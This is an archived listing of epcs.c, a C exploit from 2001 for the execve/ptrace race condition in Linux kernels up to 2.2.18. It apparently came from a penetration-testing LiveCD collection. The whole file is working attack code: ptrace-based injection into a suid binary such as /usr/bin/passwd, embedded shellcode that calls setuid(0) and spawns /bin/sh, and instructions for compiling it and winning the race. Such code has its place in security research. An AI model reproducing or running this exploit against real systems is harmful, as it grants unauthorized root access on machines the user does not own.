home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / epcs.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  175 lines

  1. /*
  2.  * epcs v2
  3.  * ~~~~~~~
  4.  * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
  5.  *
  6.  * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
  7.  *
  8.  * This sploit does _not_ use brute force. It does not need that.
  9.  * It does only one attemt to sploit the race condition in execve. 
  10.  * Parent process waits for a context-switch that occur after 
  11.  * child task sleep in execve.
  12.  *
  13.  * It should work even on openwall-patched kernels (I haven't tested it).
  14.  *
  15.  * Compile it:
  16.  *    cc epcs.c -o epcs
  17.  * Usage:
  18.  *    ./epcs [victim] [address]
  19.  *
  20.  * It gives instant root shell with any of a suid binaries.
  21.  *
  22.  * If it does not work, try use some methods to ensure that execve
  23.  * would sleep while loading binary file into memory,
  24.  *
  25.  *     i.e.: cat /usr/lib/* >/dev/null 2>&1
  26.  *
  27.  * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
  28.  * This exploit does not work on 2.4.x because kernel won't set suid 
  29.  * privileges if user ptraces a binary.
  30.  * But it is still exploitable on these kernels.
  31.  *
  32.  * Thanks to Bulba (he made me to take a look at this bug ;) )
  33.  * Greetings to SigSegv team.
  34.  *
  35.  */
  36.  
  37. #include <stdio.h>
  38. #include <fcntl.h>
  39. #include <sys/types.h>
  40. #include <signal.h>
  41. #include <linux/user.h>
  42. #include <sys/wait.h>
  43. #include <limits.h>
  44. #include <errno.h>
  45. #include <stdlib.h>
  46.  
  47. #define CS_SIGNAL SIGUSR1
  48. #define VICTIM "/usr/bin/passwd"
  49. #define SHELL "/bin/sh"
  50. #define SHELL_LEN "\x07"        /* strlen(SHELL) in hex */
  51. #define SHELLCODE 0x00000000        /* address to put shellcode at */
  52.  
  53. /*
  54.  * This is my private shellcode.
  55.  * Offset 0x0a - executable's filename length.
  56.  */
  57. char shellcode[1024]=
  58.     "\xeb\xfe"
  59.     "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"        /* setuid(0) */
  60.     "\x31\xc0\xb0\x2e\xcd\x80"
  61.     "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"        /* execve(SHELL) */
  62.     "\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
  63.     "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
  64.     "\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
  65.     "\xff" SHELL ;
  66.  
  67. volatile int cs_detector=0;
  68.  
  69. void cs_sig_handler(int sig)
  70. {
  71.     cs_detector=1;
  72. }
  73.  
  74. void do_victim(char * filename)
  75. {
  76.     while (!cs_detector) ;
  77.     kill(getppid(), CS_SIGNAL);
  78.     execl(filename, filename, NULL);
  79.     perror("execl");
  80.     exit(-1);
  81. }
  82.  
  83. int check_execve(pid_t victim, char * filename)
  84. {
  85.     char path[PATH_MAX+1];
  86.     char link[PATH_MAX+1];
  87.     int res;
  88.     
  89.     snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
  90.     if (readlink(path, link, sizeof(link)-1)<0) {
  91.         perror("readlink");
  92.         return -1;
  93.     }
  94.     
  95.     link[sizeof(link)-1]='\0';
  96.     res=!strcmp(link, filename);
  97.     if (res) fprintf(stderr, "Child slept outside of execve\n");
  98.     return res;
  99. }
  100.  
  101. int main(int argc, char * argv[])
  102. {
  103.     char * filename=VICTIM;
  104.     pid_t victim;
  105.     int error, i;
  106.     unsigned long eip=SHELLCODE;
  107.     struct user_regs_struct regs;
  108.  
  109.     if (argc>1) filename=argv[1];
  110.     if (argc>2) eip=strtoul(argv[2], NULL, 16);
  111.  
  112.     signal(CS_SIGNAL, cs_sig_handler);
  113.  
  114.     victim=fork();
  115.     if (victim<0) {
  116.         perror("fork: victim");
  117.         exit(-1);
  118.     }
  119.     if (victim==0) do_victim(filename);
  120.  
  121.     kill(victim, CS_SIGNAL);
  122.     while (!cs_detector) ;
  123.     
  124.     if (ptrace(PTRACE_ATTACH, victim)) {
  125.         perror("ptrace: PTRACE_ATTACH");
  126.         goto exit;
  127.     }
  128.     
  129.     if (check_execve(victim, filename))
  130.         goto exit;
  131.  
  132.     (void)waitpid(victim, NULL, WUNTRACED);
  133.     if (ptrace(PTRACE_CONT, victim, 0, 0)) {
  134.         perror("ptrace: PTRACE_CONT");
  135.         goto exit;
  136.     }
  137.  
  138.     (void)waitpid(victim, NULL, WUNTRACED);
  139.     
  140.     if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
  141.         perror("ptrace: PTRACE_GETREGS");
  142.         goto exit;
  143.     }
  144.  
  145.     regs.eip=eip;
  146.     
  147.     for (i=0; i<strlen(shellcode); i+=4) {
  148.         if (ptrace(PTRACE_POKEDATA, victim, regs.eip+i,
  149.                             *(int*)(shellcode+i))) {
  150.             perror("ptrace: PTRACE_POKETEXT");
  151.             goto exit;
  152.         }
  153.     }
  154.  
  155.     if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
  156.         perror("ptrace: PTRACE_GETREGS");
  157.         goto exit;
  158.     }
  159.  
  160.     fprintf(stderr, "Bug exploited successfully.\n");
  161.     
  162.     if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
  163.         perror("ptrace: PTRACE_CONT");
  164.         goto exit;
  165.     }
  166.  
  167.     (void)waitpid(victim, NULL, 0);
  168.     return 0;
  169.     
  170. exit:
  171.     fprintf(stderr, "Error!\n");
  172.     kill(victim, SIGKILL);
  173.     return -1;
  174. }
  175.